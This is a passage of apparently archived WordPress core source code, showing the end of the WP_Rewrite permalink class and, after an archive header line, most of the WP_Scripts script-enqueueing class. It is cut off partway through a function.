		// Back-compat for the old parameters: $with_front and $ep_mask.
		if ( ! is_array( $args ) ) {
			$args = array( 'with_front' => $args );
		}

		if ( func_num_args() === 4 ) {
			$args['ep_mask'] = func_get_arg( 3 );
		}

		$defaults = array(
			'with_front'  => true,
			'ep_mask'     => EP_NONE,
			'paged'       => true,
			'feed'        => true,
			'forcomments' => false,
			'walk_dirs'   => true,
			'endpoints'   => true,
		);

		$args = array_intersect_key( $args, $defaults );
		$args = wp_parse_args( $args, $defaults );

		if ( $args['with_front'] ) {
			$struct = $this->front . $struct;
		} else {
			$struct = $this->root . $struct;
		}

		$args['struct'] = $struct;

		$this->extra_permastructs[ $name ] = $args;
	}

	/**
	 * Removes a permalink structure.
	 *
	 * @since 4.5.0
	 *
	 * @param string $name Name for permalink structure.
	 */
	public function remove_permastruct( $name ) {
		unset( $this->extra_permastructs[ $name ] );
	}

	/**
	 * Removes rewrite rules and then recreate rewrite rules.
	 *
	 * Calls WP_Rewrite::wp_rewrite_rules() after removing the 'rewrite_rules' option.
	 * If the function named 'save_mod_rewrite_rules' exists, it will be called.
	 *
	 * @since 2.0.1
	 *
	 * @param bool $hard Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard).
	 */
	public function flush_rules( $hard = true ) {
		static $do_hard_later = null;

		// Prevent this action from running before everyone has registered their rewrites.
		if ( ! did_action( 'wp_loaded' ) ) {
			add_action( 'wp_loaded', array( $this, 'flush_rules' ) );
			$do_hard_later = ( isset( $do_hard_later ) ) ? $do_hard_later || $hard : $hard;
			return;
		}

		if ( isset( $do_hard_later ) ) {
			$hard = $do_hard_later;
			unset( $do_hard_later );
		}

		$this->refresh_rewrite_rules();

		/**
		 * Filters whether a "hard" rewrite rule flush should be performed when requested.
		 *
		 * A "hard" flush updates .htaccess (Apache) or web.config (IIS).
		 *
		 * @since 3.7.0
		 *
		 * @param bool $hard Whether to flush rewrite rules "hard". Default true.
		 */
		if ( ! $hard || ! apply_filters( 'flush_rewrite_rules_hard', true ) ) {
			return;
		}
		if ( function_exists( 'save_mod_rewrite_rules' ) ) {
			save_mod_rewrite_rules();
		}
		if ( function_exists( 'iis7_save_url_rewrite_rules' ) ) {
			iis7_save_url_rewrite_rules();
		}
	}

	/**
	 * Sets up the object's properties.
	 *
	 * The 'use_verbose_page_rules' object property will be set to true if the
	 * permalink structure begins with one of the following: '%postname%', '%category%',
	 * '%tag%', or '%author%'.
	 *
	 * @since 1.5.0
	 */
	public function init() {
		$this->extra_rules         = array();
		$this->non_wp_rules        = array();
		$this->endpoints           = array();
		$this->permalink_structure = get_option( 'permalink_structure' );
		$this->front               = substr( $this->permalink_structure, 0, strpos( $this->permalink_structure, '%' ) );
		$this->root                = '';

		if ( $this->using_index_permalinks() ) {
			$this->root = $this->index . '/';
		}

		unset( $this->author_structure );
		unset( $this->date_structure );
		unset( $this->page_structure );
		unset( $this->search_structure );
		unset( $this->feed_structure );
		unset( $this->comment_feed_structure );

		$this->use_trailing_slashes = str_ends_with( $this->permalink_structure, '/' );

		// Enable generic rules for pages if permalink structure doesn't begin with a wildcard.
		if ( preg_match( '/^[^%]*%(?:postname|category|tag|author)%/', $this->permalink_structure ) ) {
			$this->use_verbose_page_rules = true;
		} else {
			$this->use_verbose_page_rules = false;
		}
	}

	/**
	 * Sets the main permalink structure for the site.
	 *
	 * Will update the 'permalink_structure' option, if there is a difference
	 * between the current permalink structure and the parameter value. Calls
	 * WP_Rewrite::init() after the option is updated.
	 *
	 * Fires the {@see 'permalink_structure_changed'} action once the init call has
	 * processed passing the old and new values
	 *
	 * @since 1.5.0
	 *
	 * @param string $permalink_structure Permalink structure.
	 */
	public function set_permalink_structure( $permalink_structure ) {
		if ( $this->permalink_structure !== $permalink_structure ) {
			$old_permalink_structure = $this->permalink_structure;
			update_option( 'permalink_structure', $permalink_structure );

			$this->init();

			/**
			 * Fires after the permalink structure is updated.
			 *
			 * @since 2.8.0
			 *
			 * @param string $old_permalink_structure The previous permalink structure.
			 * @param string $permalink_structure     The new permalink structure.
			 */
			do_action( 'permalink_structure_changed', $old_permalink_structure, $permalink_structure );
		}
	}

	/**
	 * Sets the category base for the category permalink.
	 *
	 * Will update the 'category_base' option, if there is a difference between
	 * the current category base and the parameter value. Calls WP_Rewrite::init()
	 * after the option is updated.
	 *
	 * @since 1.5.0
	 *
	 * @param string $category_base Category permalink structure base.
	 */
	public function set_category_base( $category_base ) {
		if ( get_option( 'category_base' ) !== $category_base ) {
			update_option( 'category_base', $category_base );
			$this->init();
		}
	}

	/**
	 * Sets the tag base for the tag permalink.
	 *
	 * Will update the 'tag_base' option, if there is a difference between the
	 * current tag base and the parameter value. Calls WP_Rewrite::init() after
	 * the option is updated.
	 *
	 * @since 2.3.0
	 *
	 * @param string $tag_base Tag permalink structure base.
	 */
	public function set_tag_base( $tag_base ) {
		if ( get_option( 'tag_base' ) !== $tag_base ) {
			update_option( 'tag_base', $tag_base );
			$this->init();
		}
	}

	/**
	 * Constructor - Calls init(), which runs setup.
	 *
	 * @since 1.5.0
	 */
	public function __construct() {
		$this->init();
	}
}
PKYO\{H���10/class-wp-scripts.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-scripts.php000064400000102601151442400560017762 0ustar00<?php
/**
 * Dependencies API: WP_Scripts class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core class used to register scripts.
 *
 * @since 2.1.0
 *
 * @see WP_Dependencies
 */
class WP_Scripts extends WP_Dependencies {
	/**
	 * Base URL for scripts.
	 *
	 * Full URL with trailing slash.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $base_url;

	/**
	 * URL of the content directory.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $content_url;

	/**
	 * Default version string for scripts.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $default_version;

	/**
	 * Holds handles of scripts which are enqueued in footer.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $in_footer = array();

	/**
	 * Holds a list of script handles which will be concatenated.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $concat = '';

	/**
	 * Holds a string which contains script handles and their version.
	 *
	 * @since 2.8.0
	 * @deprecated 3.4.0
	 * @var string
	 */
	public $concat_version = '';

	/**
	 * Whether to perform concatenation.
	 *
	 * @since 2.8.0
	 * @var bool
	 */
	public $do_concat = false;

	/**
	 * Holds HTML markup of scripts and additional data if concatenation
	 * is enabled.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $print_html = '';

	/**
	 * Holds inline code if concatenation is enabled.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $print_code = '';

	/**
	 * Holds a list of script handles which are not in the default directory
	 * if concatenation is enabled.
	 *
	 * Unused in core.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $ext_handles = '';

	/**
	 * Holds a string which contains handles and versions of scripts which
	 * are not in the default directory if concatenation is enabled.
	 *
	 * Unused in core.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $ext_version = '';

	/**
	 * List of default directories.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $default_dirs;

	/**
	 * Holds a mapping of dependents (as handles) for a given script handle.
	 * Used to optimize recursive dependency tree checks.
	 *
	 * @since 6.3.0
	 * @var array<string, string[]>
	 */
	private $dependents_map = array();

	/**
	 * Holds a reference to the delayed (non-blocking) script loading strategies.
	 * Used by methods that validate loading strategies.
	 *
	 * @since 6.3.0
	 * @var string[]
	 */
	private $delayed_strategies = array( 'defer', 'async' );

	/**
	 * Constructor.
	 *
	 * @since 2.6.0
	 */
	public function __construct() {
		$this->init();
		add_action( 'init', array( $this, 'init' ), 0 );
	}

	/**
	 * Initialize the class.
	 *
	 * @since 3.4.0
	 */
	public function init() {
		/**
		 * Fires when the WP_Scripts instance is initialized.
		 *
		 * @since 2.6.0
		 *
		 * @param WP_Scripts $wp_scripts WP_Scripts instance (passed by reference).
		 */
		do_action_ref_array( 'wp_default_scripts', array( &$this ) );
	}

	/**
	 * Prints scripts.
	 *
	 * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies.
	 *
	 * @since 2.1.0
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[]|false $handles Optional. Scripts to be printed: queue (false),
	 *                                       single script (string), or multiple scripts (array of strings).
	 *                                       Default false.
	 * @param int|false             $group   Optional. Group level: level (int), no groups (false).
	 *                                       Default false.
	 * @return string[] Handles of scripts that have been printed.
	 */
	public function print_scripts( $handles = false, $group = false ) {
		return $this->do_items( $handles, $group );
	}

	/**
	 * Prints extra scripts of a registered script.
	 *
	 * @since 2.1.0
	 * @since 2.8.0 Added the `$display` parameter.
	 * @deprecated 3.3.0
	 *
	 * @see print_extra_script()
	 *
	 * @param string $handle  The script's registered handle.
	 * @param bool   $display Optional. Whether to print the extra script
	 *                        instead of just returning it. Default true.
	 * @return bool|string|void Void if no data exists, extra scripts if `$display` is true,
	 *                          true otherwise.
	 */
	public function print_scripts_l10n( $handle, $display = true ) {
		_deprecated_function( __FUNCTION__, '3.3.0', 'WP_Scripts::print_extra_script()' );
		return $this->print_extra_script( $handle, $display );
	}

	/**
	 * Prints extra scripts of a registered script.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle  The script's registered handle.
	 * @param bool   $display Optional. Whether to print the extra script
	 *                        instead of just returning it. Default true.
	 * @return bool|string|void Void if no data exists, extra scripts if `$display` is true,
	 *                          true otherwise.
	 */
	public function print_extra_script( $handle, $display = true ) {
		$output = $this->get_data( $handle, 'data' );
		if ( ! $output ) {
			return;
		}

		/*
		 * Do not print a sourceURL comment if concatenation is enabled.
		 *
		 * Extra scripts may be concatenated into a single script.
		 * The line-based sourceURL comments may break concatenated scripts
		 * and do not make sense when multiple scripts are joined together.
		 */
		if ( ! $this->do_concat ) {
			$output .= sprintf(
				"\n//# sourceURL=%s",
				rawurlencode( "{$handle}-js-extra" )
			);
		}

		if ( ! $display ) {
			return $output;
		}

		wp_print_inline_script_tag( $output, array( 'id' => "{$handle}-js-extra" ) );

		return true;
	}

	/**
	 * Checks whether all dependents of a given handle are in the footer.
	 *
	 * If there are no dependents, this is considered the same as if all dependents were in the footer.
	 *
	 * @since 6.4.0
	 *
	 * @param string $handle Script handle.
	 * @return bool Whether all dependents are in the footer.
	 */
	private function are_all_dependents_in_footer( $handle ) {
		foreach ( $this->get_dependents( $handle ) as $dep ) {
			if ( isset( $this->groups[ $dep ] ) && 0 === $this->groups[ $dep ] ) {
				return false;
			}
		}
		return true;
	}

	/**
	 * Processes a script dependency.
	 *
	 * @since 2.6.0
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @see WP_Dependencies::do_item()
	 *
	 * @param string    $handle The script's registered handle.
	 * @param int|false $group  Optional. Group level: level (int), no groups (false).
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function do_item( $handle, $group = false ) {
		if ( ! parent::do_item( $handle ) ) {
			return false;
		}

		if ( 0 === $group && $this->groups[ $handle ] > 0 ) {
			$this->in_footer[] = $handle;
			return false;
		}

		if ( false === $group && in_array( $handle, $this->in_footer, true ) ) {
			$this->in_footer = array_diff( $this->in_footer, (array) $handle );
		}

		$obj = $this->registered[ $handle ];
		if ( $obj->extra['conditional'] ?? false ) {
			return false;
		}

		if ( null === $obj->ver ) {
			$ver = '';
		} else {
			$ver = $obj->ver ? $obj->ver : $this->default_version;
		}

		if ( isset( $this->args[ $handle ] ) ) {
			$ver = $ver ? $ver . '&amp;' . $this->args[ $handle ] : $this->args[ $handle ];
		}

		$src               = $obj->src;
		$strategy          = $this->get_eligible_loading_strategy( $handle );
		$intended_strategy = (string) $this->get_data( $handle, 'strategy' );

		if ( ! $this->is_delayed_strategy( $intended_strategy ) ) {
			$intended_strategy = '';
		}

		/*
		 * Move this script to the footer if:
		 * 1. The script is in the header group.
		 * 2. The current output is the header.
		 * 3. The intended strategy is delayed.
		 * 4. The actual strategy is not delayed.
		 * 5. All dependent scripts are in the footer.
		 */
		if (
			0 === $group &&
			0 === $this->groups[ $handle ] &&
			$intended_strategy &&
			! $this->is_delayed_strategy( $strategy ) &&
			$this->are_all_dependents_in_footer( $handle )
		) {
			$this->in_footer[] = $handle;
			return false;
		}

		$before_script = $this->get_inline_script_tag( $handle, 'before' );
		$after_script  = $this->get_inline_script_tag( $handle, 'after' );

		if ( $before_script || $after_script ) {
			$inline_script_tag = $before_script . $after_script;
		} else {
			$inline_script_tag = '';
		}

		/*
		 * Prevent concatenation of scripts if the text domain is defined
		 * to ensure the dependency order is respected.
		 */
		$translations_stop_concat = ! empty( $obj->textdomain );

		$translations = $this->print_translations( $handle, false );
		if ( $translations ) {
			/*
			 * The sourceURL comment is not included by WP_Scripts::print_translations()
			 * when `$display` is `false` to prevent issues where the script tag contents are used
			 * by extenders for other purposes, for example concatenated with other script content.
			 *
			 * Include the sourceURL comment here as it would be when printed directly.
			 */
			$source_url    = rawurlencode( "{$handle}-js-translations" );
			$translations .= "\n//# sourceURL={$source_url}";
			$translations  = wp_get_inline_script_tag( $translations, array( 'id' => "{$handle}-js-translations" ) );
		}

		if ( $this->do_concat ) {
			/**
			 * Filters the script loader source.
			 *
			 * @since 2.2.0
			 *
			 * @param string $src    Script loader source path.
			 * @param string $handle Script handle.
			 */
			$filtered_src = apply_filters( 'script_loader_src', $src, $handle );

			if (
				$this->in_default_dir( $filtered_src )
				&& ( $before_script || $after_script || $translations_stop_concat || $this->is_delayed_strategy( $strategy ) )
			) {
				$this->do_concat = false;

				// Have to print the so-far concatenated scripts right away to maintain the right order.
				_print_scripts();
				$this->reset();
			} elseif ( $this->in_default_dir( $filtered_src ) ) {
				$this->print_code     .= $this->print_extra_script( $handle, false );
				$this->concat         .= "$handle,";
				$this->concat_version .= "$handle$ver";
				return true;
			} else {
				$this->ext_handles .= "$handle,";
				$this->ext_version .= "$handle$ver";
			}
		}

		$this->print_extra_script( $handle );

		// A single item may alias a set of items, by having dependencies, but no source.
		if ( ! $src ) {
			if ( $inline_script_tag ) {
				if ( $this->do_concat ) {
					$this->print_html .= $inline_script_tag;
				} else {
					echo $inline_script_tag;
				}
			}

			return true;
		}

		if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) {
			$src = $this->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = add_query_arg( 'ver', $ver, $src );
		}

		/** This filter is documented in wp-includes/class-wp-scripts.php */
		$src = esc_url_raw( apply_filters( 'script_loader_src', $src, $handle ) );

		if ( ! $src ) {
			return true;
		}

		$attr = array(
			'src' => $src,
			'id'  => "{$handle}-js",
		);
		if ( $strategy ) {
			$attr[ $strategy ] = true;
		}
		if ( $intended_strategy ) {
			$attr['data-wp-strategy'] = $intended_strategy;
		}

		// Determine fetchpriority.
		$original_fetchpriority = isset( $obj->extra['fetchpriority'] ) ? $obj->extra['fetchpriority'] : null;
		if ( null === $original_fetchpriority || ! $this->is_valid_fetchpriority( $original_fetchpriority ) ) {
			$original_fetchpriority = 'auto';
		}
		$actual_fetchpriority = $this->get_highest_fetchpriority_with_dependents( $handle );
		if ( null === $actual_fetchpriority ) {
			// If null, it's likely this script was not explicitly enqueued, so in this case use the original priority.
			$actual_fetchpriority = $original_fetchpriority;
		}
		if ( is_string( $actual_fetchpriority ) && 'auto' !== $actual_fetchpriority ) {
			$attr['fetchpriority'] = $actual_fetchpriority;
		}

		if ( $original_fetchpriority !== $actual_fetchpriority ) {
			$attr['data-wp-fetchpriority'] = $original_fetchpriority;
		}

		$tag  = $translations . $before_script;
		$tag .= wp_get_script_tag( $attr );
		$tag .= $after_script;

		/**
		 * Filters the HTML script tag of an enqueued script.
		 *
		 * @since 4.1.0
		 *
		 * @param string $tag    The `<script>` tag for the enqueued script.
		 * @param string $handle The script's registered handle.
		 * @param string $src    The script's source URL.
		 */
		$tag = apply_filters( 'script_loader_tag', $tag, $handle, $src );

		if ( $this->do_concat ) {
			$this->print_html .= $tag;
		} else {
			echo $tag;
		}

		return true;
	}

	/**
	 * Adds extra code to a registered script.
	 *
	 * @since 4.5.0
	 *
	 * @param string $handle   Name of the script to add the inline script to.
	 *                         Must be lowercase.
	 * @param string $data     String containing the JavaScript to be added.
	 * @param string $position Optional. Whether to add the inline script
	 *                         before the handle or after. Default 'after'.
	 * @return bool True on success, false on failure.
	 */
	public function add_inline_script( $handle, $data, $position = 'after' ) {
		if ( ! $data ) {
			return false;
		}

		if ( 'after' !== $position ) {
			$position = 'before';
		}

		$script   = (array) $this->get_data( $handle, $position );
		$script[] = $data;

		return $this->add_data( $handle, $position, $script );
	}

	/**
	 * Prints inline scripts registered for a specific handle.
	 *
	 * @since 4.5.0
	 * @deprecated 6.3.0 Use methods get_inline_script_tag() or get_inline_script_data() instead.
	 *
	 * @param string $handle   Name of the script to print inline scripts for.
	 *                         Must be lowercase.
	 * @param string $position Optional. Whether to add the inline script
	 *                         before the handle or after. Default 'after'.
	 * @param bool   $display  Optional. Whether to print the script tag
	 *                         instead of just returning the script data. Default true.
	 * @return string|false Script data on success, false otherwise.
	 */
	public function print_inline_script( $handle, $position = 'after', $display = true ) {
		_deprecated_function( __METHOD__, '6.3.0', 'WP_Scripts::get_inline_script_data() or WP_Scripts::get_inline_script_tag()' );

		$output = $this->get_inline_script_data( $handle, $position );
		if ( empty( $output ) ) {
			return false;
		}

		if ( $display ) {
			echo $this->get_inline_script_tag( $handle, $position );
		}
		return $output;
	}

	/**
	 * Gets data for inline scripts registered for a specific handle.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle   Name of the script to get data for.
	 *                         Must be lowercase.
	 * @param string $position Optional. Whether to add the inline script
	 *                         before the handle or after. Default 'after'.
	 * @return string Inline script, which may be empty string.
	 */
	public function get_inline_script_data( $handle, $position = 'after' ) {
		$data = $this->get_data( $handle, $position );
		if ( empty( $data ) || ! is_array( $data ) ) {
			return '';
		}

		/*
		 * Print sourceURL comment regardless of concatenation.
		 *
		 * Inline scripts prevent scripts from being concatenated, so
		 * sourceURL comments are safe to print for inline scripts.
		 */
		$data[] = sprintf(
			'//# sourceURL=%s',
			rawurlencode( "{$handle}-js-{$position}" )
		);

		return trim( implode( "\n", $data ), "\n" );
	}

	/**
	 * Gets tags for inline scripts registered for a specific handle.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle   Name of the script to get associated inline script tag for.
	 *                         Must be lowercase.
	 * @param string $position Optional. Whether to get tag for inline
	 *                         scripts in the before or after position. Default 'after'.
	 * @return string Inline script, which may be empty string.
	 */
	public function get_inline_script_tag( $handle, $position = 'after' ) {
		$js = $this->get_inline_script_data( $handle, $position );
		if ( empty( $js ) ) {
			return '';
		}

		$id = "{$handle}-js-{$position}";

		return wp_get_inline_script_tag( $js, compact( 'id' ) );
	}

	/**
	 * Localizes a script, only if the script has already been added.
	 *
	 * @since 2.1.0
	 *
	 * @param string $handle      Name of the script to attach data to.
	 * @param string $object_name Name of the variable that will contain the data.
	 * @param array  $l10n        Array of data to localize.
	 * @return bool True on success, false on failure.
	 */
	public function localize( $handle, $object_name, $l10n ) {
		if ( 'jquery' === $handle ) {
			$handle = 'jquery-core';
		}

		if ( is_array( $l10n ) && isset( $l10n['l10n_print_after'] ) ) { // back compat, preserve the code in 'l10n_print_after' if present.
			$after = $l10n['l10n_print_after'];
			unset( $l10n['l10n_print_after'] );
		}

		if ( ! is_array( $l10n ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: 1: $l10n, 2: wp_add_inline_script() */
					__( 'The %1$s parameter must be an array. To pass arbitrary data to scripts, use the %2$s function instead.' ),
					'<code>$l10n</code>',
					'<code>wp_add_inline_script()</code>'
				),
				'5.7.0'
			);

			if ( false === $l10n ) {
				// This should really not be needed, but is necessary for backward compatibility.
				$l10n = array( $l10n );
			}
		}

		if ( is_string( $l10n ) ) {
			$l10n = html_entity_decode( $l10n, ENT_QUOTES, 'UTF-8' );
		} elseif ( is_array( $l10n ) ) {
			foreach ( $l10n as $key => $value ) {
				if ( ! is_scalar( $value ) ) {
					continue;
				}

				$l10n[ $key ] = html_entity_decode( (string) $value, ENT_QUOTES, 'UTF-8' );
			}
		}

		$script = "var $object_name = " . wp_json_encode( $l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ';';

		if ( ! empty( $after ) ) {
			$script .= "\n$after;";
		}

		$data = $this->get_data( $handle, 'data' );

		if ( ! empty( $data ) ) {
			$script = "$data\n$script";
		}

		return $this->add_data( $handle, 'data', $script );
	}

	/**
	 * Sets handle group.
	 *
	 * @since 2.8.0
	 *
	 * @see WP_Dependencies::set_group()
	 *
	 * @param string    $handle    Name of the item. Should be unique.
	 * @param bool      $recursion Internal flag that calling function was called recursively.
	 * @param int|false $group     Optional. Group level: level (int), no groups (false).
	 *                             Default false.
	 * @return bool Not already in the group or a lower group.
	 */
	public function set_group( $handle, $recursion, $group = false ) {
		if ( isset( $this->registered[ $handle ]->args ) && 1 === $this->registered[ $handle ]->args ) {
			$calculated_group = 1;
		} else {
			$calculated_group = (int) $this->get_data( $handle, 'group' );
		}

		if ( false !== $group && $calculated_group > $group ) {
			$calculated_group = $group;
		}

		return parent::set_group( $handle, $recursion, $calculated_group );
	}

	/**
	 * Sets a translation textdomain.
	 *
	 * @since 5.0.0
	 * @since 5.1.0 The `$domain` parameter was made optional.
	 *
	 * @param string $handle Name of the script to register a translation domain to.
	 * @param string $domain Optional. Text domain. Default 'default'.
	 * @param string $path   Optional. The full file path to the directory containing translation files.
	 * @return bool True if the text domain was registered, false if not.
	 */
	public function set_translations( $handle, $domain = 'default', $path = '' ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		/** @var \_WP_Dependency $obj */
		$obj = $this->registered[ $handle ];

		if ( ! in_array( 'wp-i18n', $obj->deps, true ) ) {
			$obj->deps[] = 'wp-i18n';
		}

		return $obj->set_translations( $domain, $path );
	}

	/**
	 * Prints translations set for a specific handle.
	 *
	 * @since 5.0.0
	 *
	 * @param string $handle  Name of the script to add the inline script to.
	 *                        Must be lowercase.
	 * @param bool   $display Optional. Whether to print the script
	 *                        instead of just returning it. Default true.
	 * @return string|false Script on success, false otherwise.
	 */
	public function print_translations( $handle, $display = true ) {
		if ( ! isset( $this->registered[ $handle ] ) || empty( $this->registered[ $handle ]->textdomain ) ) {
			return false;
		}

		$domain = $this->registered[ $handle ]->textdomain;
		$path   = '';

		if ( isset( $this->registered[ $handle ]->translations_path ) ) {
			$path = $this->registered[ $handle ]->translations_path;
		}

		$json_translations = load_script_textdomain( $handle, $domain, $path );

		if ( ! $json_translations ) {
			return false;
		}

		$output = <<<JS
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "{$domain}", {$json_translations} );
JS;

		if ( $display ) {
			$source_url = rawurlencode( "{$handle}-js-translations" );
			$output    .= "\n//# sourceURL={$source_url}";
			wp_print_inline_script_tag( $output, array( 'id' => "{$handle}-js-translations" ) );
		}

		return $output;
	}

	/**
	 * Determines script dependencies.
	 *
	 * @since 2.1.0
	 *
	 * @see WP_Dependencies::all_deps()
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no groups (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$result = parent::all_deps( $handles, $recursion, $group );
		if ( ! $recursion ) {
			/**
			 * Filters the list of script dependencies left to print.
			 *
			 * @since 2.3.0
			 *
			 * @param string[] $to_do An array of script dependency handles.
			 */
			$this->to_do = apply_filters( 'print_scripts_array', $this->to_do );
		}
		return $result;
	}

	/**
	 * Processes items and dependencies for the head group.
	 *
	 * @since 2.8.0
	 *
	 * @see WP_Dependencies::do_items()
	 *
	 * @return string[] Handles of items that have been processed.
	 */
	public function do_head_items() {
		$this->do_items( false, 0 );
		return $this->done;
	}

	/**
	 * Processes items and dependencies for the footer group.
	 *
	 * @since 2.8.0
	 *
	 * @see WP_Dependencies::do_items()
	 *
	 * @return string[] Handles of items that have been processed.
	 */
	public function do_footer_items() {
		$this->do_items( false, 1 );
		return $this->done;
	}

	/**
	 * Whether a handle's source is in a default directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $src The source of the enqueued script.
	 * @return bool True if found, false if not.
	 */
	public function in_default_dir( $src ) {
		if ( ! $this->default_dirs ) {
			return true;
		}

		if ( str_starts_with( $src, '/' . WPINC . '/js/l10n' ) ) {
			return false;
		}

		foreach ( (array) $this->default_dirs as $test ) {
			if ( str_starts_with( $src, $test ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * This overrides the add_data method from WP_Dependencies, to support normalizing of $args.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @param mixed  $value  The data value.
	 * @return bool True on success, false on failure.
	 */
	public function add_data( $handle, $key, $value ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		if ( 'conditional' === $key ) {
			// If a dependency is declared by a conditional script, remove it.
			$this->registered[ $handle ]->deps = array();
		}

		if ( 'strategy' === $key ) {
			if ( ! empty( $value ) && ! $this->is_delayed_strategy( $value ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: $strategy, 2: $handle */
						__( 'Invalid strategy `%1$s` defined for `%2$s` during script registration.' ),
						$value,
						$handle
					),
					'6.3.0'
				);
				return false;
			} elseif ( ! $this->registered[ $handle ]->src && $this->is_delayed_strategy( $value ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: $strategy, 2: $handle */
						__( 'Cannot supply a strategy `%1$s` for script `%2$s` because it is an alias (it lacks a `src` value).' ),
						$value,
						$handle
					),
					'6.3.0'
				);
				return false;
			}
		} elseif ( 'fetchpriority' === $key ) {
			if ( empty( $value ) ) {
				$value = 'auto';
			}
			if ( ! $this->is_valid_fetchpriority( $value ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: $fetchpriority, 2: $handle */
						__( 'Invalid fetchpriority `%1$s` defined for `%2$s` during script registration.' ),
						is_string( $value ) ? $value : gettype( $value ),
						$handle
					),
					'6.9.0'
				);
				return false;
			} elseif ( ! $this->registered[ $handle ]->src ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: $fetchpriority, 2: $handle */
						__( 'Cannot supply a fetchpriority `%1$s` for script `%2$s` because it is an alias (it lacks a `src` value).' ),
						is_string( $value ) ? $value : gettype( $value ),
						$handle
					),
					'6.9.0'
				);
				return false;
			}
		}
		return parent::add_data( $handle, $key, $value );
	}

	/**
	 * Gets all dependents of a script.
	 *
	 * This is not recursive.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle The script handle.
	 * @return string[] Script handles.
	 */
	private function get_dependents( $handle ) {
		// Check if dependents map for the handle in question is present. If so, use it.
		if ( isset( $this->dependents_map[ $handle ] ) ) {
			return $this->dependents_map[ $handle ];
		}

		$dependents = array();

		// Iterate over all registered scripts, finding dependents of the script passed to this method.
		foreach ( $this->registered as $registered_handle => $args ) {
			if ( in_array( $handle, $args->deps, true ) ) {
				$dependents[] = $registered_handle;
			}
		}

		// Add the handles dependents to the map to ease future lookups.
		$this->dependents_map[ $handle ] = $dependents;

		return $dependents;
	}

	/**
	 * Checks if the strategy passed is a valid delayed (non-blocking) strategy.
	 *
	 * @since 6.3.0
	 *
	 * @param string|mixed $strategy The strategy to check.
	 * @return bool True if $strategy is one of the delayed strategies, otherwise false.
	 */
	private function is_delayed_strategy( $strategy ): bool {
		return in_array(
			$strategy,
			$this->delayed_strategies,
			true
		);
	}

	/**
	 * Checks if the provided fetchpriority is valid.
	 *
	 * @since 6.9.0
	 *
	 * @param string|mixed $priority Fetch priority.
	 * @return bool Whether valid fetchpriority.
	 */
	private function is_valid_fetchpriority( $priority ): bool {
		return in_array( $priority, array( 'auto', 'low', 'high' ), true );
	}

	/**
	 * Gets the best eligible loading strategy for a script.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle The script handle.
	 * @return string The best eligible loading strategy.
	 */
	private function get_eligible_loading_strategy( $handle ) {
		$intended_strategy = (string) $this->get_data( $handle, 'strategy' );

		// Bail early if there is no intended strategy.
		if ( ! $intended_strategy ) {
			return '';
		}

		/*
		 * If the intended strategy is 'defer', limit the initial list of eligible
		 * strategies, since 'async' can fallback to 'defer', but not vice-versa.
		 */
		$initial_strategy = ( 'defer' === $intended_strategy ) ? array( 'defer' ) : null;

		$eligible_strategies = $this->filter_eligible_strategies( $handle, $initial_strategy );

		// Return early once we know the eligible strategy is blocking.
		if ( empty( $eligible_strategies ) ) {
			return '';
		}

		return in_array( 'async', $eligible_strategies, true ) ? 'async' : 'defer';
	}

	/**
	 * Filter the list of eligible loading strategies for a script.
	 *
	 * @since 6.3.0
	 *
	 * @param string                  $handle              The script handle.
	 * @param string[]|null           $eligible_strategies Optional. The list of strategies to filter. Default null.
	 * @param array<string, true>     $checked             Optional. An array of already checked script handles, used to avoid recursive loops.
	 * @param array<string, string[]> $stored_results      Optional. An array of already computed eligible loading strategies by handle, used to increase performance in large dependency lists.
	 * @return string[] A list of eligible loading strategies that could be used.
	 */
	private function filter_eligible_strategies( $handle, $eligible_strategies = null, $checked = array(), array &$stored_results = array() ) {
		if ( isset( $stored_results[ $handle ] ) ) {
			return $stored_results[ $handle ];
		}

		// If no strategies are being passed, all strategies are eligible.
		if ( null === $eligible_strategies ) {
